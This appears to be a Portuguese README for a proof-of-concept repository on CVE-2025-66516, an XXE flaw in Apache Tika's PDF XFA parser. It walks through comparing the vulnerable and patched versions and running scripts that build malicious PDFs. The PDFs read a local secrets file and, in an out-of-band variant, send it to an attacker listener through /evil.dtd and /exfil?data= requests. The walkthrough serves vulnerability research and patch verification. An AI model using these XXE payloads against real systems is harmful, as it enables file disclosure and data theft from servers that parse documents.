
Um POC para a vulnerabilidade CVE-2025-66516 do Apache Tika apenas para fins educacionais.
Somente para Testes Educacionais/Autorizados | Licença | Política de Segurança
Este repositório contém um exploit de prova de conceito (POC) para CVE-2025-66516, uma vulnerabilidade de injeção de Entidade Externa XML (XXE) no Apache Tika em versões anteriores à 3.2.2. A vulnerabilidade afeta o parser XFA (XML Forms Architecture) no componente tika-parser-pdf-module, permitindo que atacantes leiam arquivos locais e exfiltrem dados sensíveis por meio de documentos PDF maliciosamente elaborados.
CVE-2025-66516 é uma vulnerabilidade de segurança crítica na funcionalidade de parsing de PDF do Apache Tika. Ao processar arquivos PDF com formulários XFA incorporados, as versões do Tika anteriores à 3.2.2 não restringem adequadamente o processamento de entidades externas nos parsers XML. Isso permite que atacantes:
Este repositório inclui:
Apache Tika XXE, exploit CVE-2025-66516, vulnerabilidade de segurança do Tika, ataque de Entidade Externa XML, injeção XXE em PDF, vulnerabilidade do Tika 3.2.1, XXE fora de banda, OOB XXE, pesquisa de segurança, teste de penetração, exploit POC, divulgação de vulnerabilidade, vulnerabilidade do parser XFA, tika-parser-pdf-module, vulnerabilidade de divulgação de arquivos, exfiltração de dados, ataque SSRF, codificação segura, análise de vulnerabilidade, teste de segurança, hacking ético, infosec, pesquisa em cibersegurança, código de exploit do Apache Tika, payload XXE, segurança de PDF, vulnerabilidade de parser de documentos
Nota: Este POC foi testado e verificado em:
Primeiro, crie um diretório dedicado para o POC para manter todos os arquivos organizados.
mkdir apache_tika_poc
cd apache_tika_poc
Antes de prosseguir com o POC, verifique se o seu ambiente possui as dependências necessárias. Esses comandos exibirão as versões do compilador/ambiente de execução Java e os detalhes do SO, que são importantes para reproduzir a vulnerabilidade.
# Check Java version
java -version
javac -version
# Check OS version
lsb_release -a
Saída Esperada: Você deve ver as informações da versão do Java (ex.: OpenJDK 17.x.x) e os detalhes da versão do Ubuntu (24.04.3 LTS).
Baixe as versões vulnerável (3.2.1) e corrigida (3.2.2) do Apache Tika. Precisamos de ambas as versões para demonstrar que a vulnerabilidade XXE existe na 3.2.1 e foi corrigida na 3.2.2. O JAR tika-app é um executável all-in-one que inclui todos os parsers e dependências do Tika.
# Download vulnerable Tika version
wget https://repo1.maven.org/maven2/org/apache/tika/tika-app/3.2.1/tika-app-3.2.1.jar
# Download patched Tika version
wget https://repo1.maven.org/maven2/org/apache/tika/tika-app/3.2.2/tika-app-3.2.2.jar
Saída Esperada: Dois arquivos JAR serão baixados - tika-app-3.2.1.jar (~75MB) e tika-app-3.2.2.jar (~75MB).
Verifique as versões exatas inspecionando os arquivos de manifesto dos JARs. Isso confirma que temos as versões vulnerável e corrigida corretas antes do teste.
# Check vulnerable version manifest
unzip -p tika-app-3.2.1.jar META-INF/MANIFEST.MF
# Check patched version manifest
unzip -p tika-app-3.2.2.jar META-INF/MANIFEST.MF
Saída Esperada: Arquivos de manifesto mostrando Implementation-Version: 3.2.1 e 3.2.2 respectivamente, juntamente com carimbos de data/hora da compilação e outros metadados.
Se observarmos os Project Object Models (as propriedades POM do Maven definem as dependências, a configuração de build e os metadados de um projeto), vemos que não há um tika-parsers separado, como mencionado nos avisos de segurança - pode ser algo relacionado à versão, e a suposição é que nas versões 3.2.1 e 3.2.2, que fazem parte do POC, o módulo tika-parsers foi substituído por módulos de parser individuais.
# List all component pom.properties files for both versions
unzip -l tika-app-3.2.1.jar | grep pom.properties | grep tika
unzip -l tika-app-3.2.2.jar | grep pom.properties | grep tika
Saída Esperada: Uma lista de todos os módulos de componentes do Tika, incluindo tika-core, tika-parser-pdf-module, tika-xmp, etc. Você notará módulos de parser individuais em vez de um único módulo tika-parsers.
Extraia e exiba as informações de versão dos componentes principais do Tika. Isso nos ajuda a entender a estrutura interna dos módulos e a confirmar que tanto a biblioteca principal quanto o módulo parser de PDF estão nas versões esperadas.
# Check tika-core, tika-parser-pdf-module, and tika-app versions for 3.2.1
unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-core/pom.properties && echo "---" && unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-parser-pdf-module/pom.properties && echo "---" && unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-app/pom.properties
# Check tika-core, tika-parser-pdf-module, and tika-app versions for 3.2.2
unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-core/pom.properties && echo "---" && unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-parser-pdf-module/pom.properties && echo "---" && unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-app/pom.properties
Saída Esperada: Propriedades POM mostrando version=3.2.1 ou version=3.2.2 para cada componente, separadas por ---. Todos os três componentes (tika-core, tika-parser-pdf-module, tika-app) devem corresponder à versão geral.
Crie um arquivo de segredos fictício que será o alvo do nosso ataque XXE. Este arquivo simula dados sensíveis (como chaves de API ou credenciais) que um atacante pode tentar exfiltrar por meio da vulnerabilidade XXE.
# Create target secret file
echo "INTERNAL_SERVER_KEY=EXPOSED" > fake-secrets.txt
Saída Esperada: Um arquivo chamado fake-secrets.txt contendo a string INTERNAL_SERVER_KEY=EXPOSED. Este arquivo será lido pelo exploit XXE.
Para entender a correção, precisamos descompilar e comparar a classe XMLReaderUtils das duas versões. Essa classe é responsável por criar parsers XML, e a vulnerabilidade decorre de como ela configura o processamento de entidades XML.
# Extract vulnerable JAR for analysis
mkdir tika-3.2.1-extract && cd tika-3.2.1-extract && unzip -q ../tika-app-3.2.1.jar && cd ..
# Extract patched JAR for analysis
mkdir tika-3.2.2-extract && cd tika-3.2.2-extract && unzip -q ../tika-app-3.2.2.jar && cd ..
# Decompile vulnerable class
cd tika-3.2.1-extract && javap -c org/apache/tika/utils/XMLReaderUtils.class > ../XMLReaderUtils-3.2.1.txt && cd ..
# Decompile patched class
cd tika-3.2.2-extract && javap -c org/apache/tika/utils/XMLReaderUtils.class > ../XMLReaderUtils-3.2.2.txt && cd ..
# Compare versions
diff -u XMLReaderUtils-3.2.1.txt XMLReaderUtils-3.2.2.txt
Saída Esperada: A extração cria dois diretórios com arquivos de classe descompilados. O comando javap gera a desmontagem do bytecode da classe XMLReaderUtils. O comando diff mostrará as diferenças na configuração do parser XML entre as versões.
Se compararmos com atenção, veremos que qualquer definição de Doctype (DTD) e o suporte a Entidades externas estão desabilitados na 3.2.2 - este é o ponto central da correção:
diff -u XMLReaderUtils-3.2.1.txt XMLReaderUtils-3.2.2.txt | grep -A2 -B2 "accessExternalDTD\|supportDTD\|isSupportingExternalEntities"
Saída Esperada: Você verá a saída do diff mostrando que a versão 3.2.2 adiciona chamadas para desabilitar o processamento de DTD e a resolução de entidades externas. Procure linhas que definem accessExternalDTD como string vazia e supportDTD como false.
Isso demonstra o ataque XXE clássico, em que um PDF malicioso lê um arquivo local do sistema de arquivos do servidor. O script Python gera um PDF com um formulário XFA incorporado contendo XML com um payload XXE que referencia file:///fake-secrets.txt.
# Generate malicious PDF
python3 ./gen_poc.py
# Test with vulnerable Tika 3.2.1
java -jar tika-app-3.2.1.jar -t cve_2025_66516_poc.pdf
# Test with patched Tika 3.2.2
java -jar tika-app-3.2.2.jar -t cve_2025_66516_poc.pdf
Saída Esperada:
gen_poc.py cria cve_2025_66516_poc.pdf contendo o payload XXEINTERNAL_SERVER_KEY=EXPOSED - o conteúdo do arquivo secreto!Isso demonstra um ataque XXE mais sofisticado usando exfiltração de dados fora de banda (OOB). Em vez de refletir o conteúdo do arquivo na resposta, o PDF malicioso força o Tika a enviar os dados para um servidor externo controlado pelo atacante. Essa técnica funciona mesmo quando a aplicação não retorna o conteúdo analisado.
# Generate out-of-band XXE PDF
python3 ./gen_oob_poc.py
# Start HTTP listener (in separate terminal)
python3 ./http_listener.py
# Test OOB XXE with vulnerable Tika 3.2.1
java -jar tika-app-3.2.1.jar -t cve-2025-66516_OOB_XXE.pdf
# Test OOB XXE with patched Tika 3.2.2
java -jar tika-app-3.2.2.jar -t cve-2025-66516_OOB_XXE.pdf
Saída Esperada:
gen_oob_poc.py cria cve-2025-66516_OOB_XXE.pdf com payload XXE fora de bandahttp_listener.py inicia um servidor na porta 8888 e aguarda requisições recebidas/evil.dtd (busca de DTD externo)/exfil?data=INTERNAL_SERVER_KEY=EXPOSED (exfiltração de dados)Isso testa a vulnerabilidade em um cenário mais realista, em que o Tika é usado como biblioteca dentro de uma aplicação Java (não apenas pela ferramenta de linha de comando). O código DocumentProcessor.java simula como uma aplicação típica pode integrar o Tika para análise de documentos.
# Compile with vulnerable Tika
javac -cp tika-app-3.2.1.jar DocumentProcessor.java
# Run with vulnerable Tika
java -cp tika-app-3.2.1.jar:. DocumentProcessor ./cve_2025_66516_poc.pdf
# Compile with patched Tika
javac -cp tika-app-3.2.2.jar DocumentProcessor.java
# Run with patched Tika
java -cp tika-app-3.2.2.jar:. DocumentProcessor ./cve_2025_66516_poc.pdf
Saída Esperada:
Document processed successfully!
Content extracted: [text containing INTERNAL_SERVER_KEY=EXPOSED]
⚠️ SECURITY ALERT: XXE vulnerability detected! Secret data leaked in output.
Document processed successfully!
Content extracted: [text WITHOUT secret data]
✓ No XXE vulnerability detected.
Remova diretórios e arquivos temporários criados durante a fase de análise para manter o espaço de trabalho limpo.
# Remove extraction directories
rm -rf tika-3.2.2-extract/
rm -rf tika-3.2.1-extract/
rm XMLReaderUtils-*.txt
Saída Esperada: Os diretórios e arquivos de texto descompilados serão removidos. Nenhuma saída é exibida, a menos que haja um erro.
Se você descobrir vulnerabilidades de segurança, por favor, reporte-as de forma responsável:
apache-tika xxe-vulnerability cve-2025-66516 security-research proof-of-concept xml-external-entity cybersecurity vulnerability-research poc infosec penetration-testing ethical-hacking pdf-security xfa-parser data-exfiltration ssrf oob-xxe file-disclosure secure-coding vulnerability-analysis security-testing exploit-development red-team blue-team appsec document-parsing java-security
Este projeto está licenciado sob a Licença MIT - consulte o arquivo LICENSE para obter detalhes.
Apenas para Uso Educacional - Este POC destina-se exclusivamente a fins educacionais e a testes de segurança autorizados. O uso não autorizado contra sistemas que você não possui ou sem permissão para testar é ilegal.
Contribuições para melhorar este POC ou a documentação são bem-vindas! Certifique-se de que todas as contribuições:
Última Atualização: Dezembro de 2025